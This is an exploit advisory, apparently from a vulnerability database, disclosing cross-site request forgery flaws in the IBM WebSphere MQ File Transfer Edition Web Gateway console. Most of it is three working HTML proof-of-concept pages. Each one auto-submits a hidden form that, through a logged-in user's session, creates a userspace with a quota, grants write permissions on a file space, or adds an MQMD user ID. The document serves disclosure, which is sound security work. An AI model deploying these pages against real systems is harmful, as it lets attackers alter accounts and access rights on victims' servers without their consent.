IBM WebSphere MQ File Transfer Edition Web Gateway CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
IBM WebSphere MQ File Transfer Edition Web Gateway CSRF Vulnerability. Malicious user can add userspace, change permissions, and manipulate MQMD user IDs using CSRF attack

                                                *Exploit Author:* Nir Valtman

*Description:* Malicious user is able to add userspace, change permissions
on existing userspace and add MQMD (MQ Message Descriptor) user IDs. All of
the these vulnerabilities can be exploited using a CSRF (Cross Site Request
Forgery) attack.
Few days ago the CVE has
been published here&#60;http://www-01.ibm.com/support/docview.wss?uid=swg21607482&#62;

*
*
*Affected Platforms: *Version 7.0.4 and all previous versions of WebSphere MQ
File Transfer Edition&#60;http://publib.boulder.ibm.com/infocenter/wmqfte/v7r0/index.jsp&#62;running
on all platforms are affected.
* *
*
*
*Exploit Details:*
*1. CSRF To add user and define his quota on a userspace*
I created the following HTML page and then opened it by a logged-on user:

&#60;html&#62;

                  &#60;head&#62;&#60;/head&#62;

                  &#60;body&#62;

                                    &#60;form id=&#34;frm&#34; method=&#34;post&#34;
action=&#34;https://*[ip-address-and-port]* /wmqfteconsole/Filespaces&#34;

                                                      &#60;input type=&#34;hidden&#34;
name=&#34;nirvcsrf&#34; value=&#34;junk&#34; /&#62;

                                                      &#60;input type=&#34;hidden&#34;
name=&#34;name&#34; value=&#34;zzzzzz&#34; /&#62;

                                                      &#60;input type=&#34;hidden&#34;
name=&#34;quota&#34; value=&#34;15&#34; /&#62;

                                                      &#60;input type=&#34;hidden&#34;
name=&#34;id&#34; value=&#34;NewFileSpace&#34; /&#62;



                                    &#60;/form&#62;

                                    &#60;script&#62;

                                                      document.frm.submit();

                                    &#60;/script&#62;

                  &#60;/body&#62;
&#60;/html&#62;
See the following screenshot, which follows the execution of CSRF attack:
[image: Inline image 1]

*2. CSRF to add permissions on file spaces:*
I created the following HTML page and then opened it by a logged-on user:

&#60;html&#62;

                  &#60;head&#62;&#60;/head&#62;

                  &#60;body&#62;

                                    &#60;form id=&#34;frm&#34; method=&#34;post&#34;
action=&#34;https://*[ip-address-and-port]*
 /wmqfteconsole/FileSpacePermisssions&#34;

                                                      &#60;input type=&#34;hidden&#34;
name=&#34;nirvcsrf&#34; value=&#34;junk&#34; /&#62;

                                                      &#60;input type=&#34;hidden&#34;
name=&#34;user&#34; value=&#34;bodek2&#34; /&#62;

                                                      &#60;input type=&#34;hidden&#34;
name=&#34;write&#34; value=&#34;authorized&#34; /&#62;

                                                      &#60;input type=&#34;hidden&#34;
name=&#34;id&#34; value=&#34;zzzzzz_TEMP_PERMISSIONS&#34; /&#62;



                                    &#60;/form&#62;

                                    &#60;script&#62;

                                                      document.frm.submit();

                                    &#60;/script&#62;

                  &#60;/body&#62;
&#60;/html&#62;

See the following screenshot, which follows the execution of CSRF attack:
[image: Inline image 2]

*2. CSRF to add MQMD user id:*
I created the following HTML page and then opened it by a logged-on user:

&#60;html&#62;

                  &#60;head&#62;&#60;/head&#62;

                  &#60;body&#62;

                                    &#60;form id=&#34;frm&#34; method=&#34;post&#34;
action=&#34;https://*[ip-address-and-port]*/wmqfteconsole/UploadUsers&#34;

                                                      &#60;input type=&#34;hidden&#34;
name=&#34;nirvcsrf&#34; value=&#34;junk&#34; /&#62;

                                                      &#60;input type=&#34;hidden&#34;
name=&#34;userID&#34; value=&#34;csrfUserId&#34; /&#62;

                                                      &#60;input type=&#34;hidden&#34;
name=&#34;mqmdUserID&#34; value=&#34;userIdTest&#34; /&#62;

                                                      &#60;input type=&#34;hidden&#34;
name=&#34;id&#34; value=&#34;NewUploadUser&#34; /&#62;



                                    &#60;/form&#62;

                                    &#60;script&#62;

                                                      document.frm.submit();

                                    &#60;/script&#62;

                  &#60;/body&#62;

&#60;/html&#62;

See the following screenshot, which follows the execution of CSRF attack:
[image: Inline image 3]

Best Regards,
Nir Valtman
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1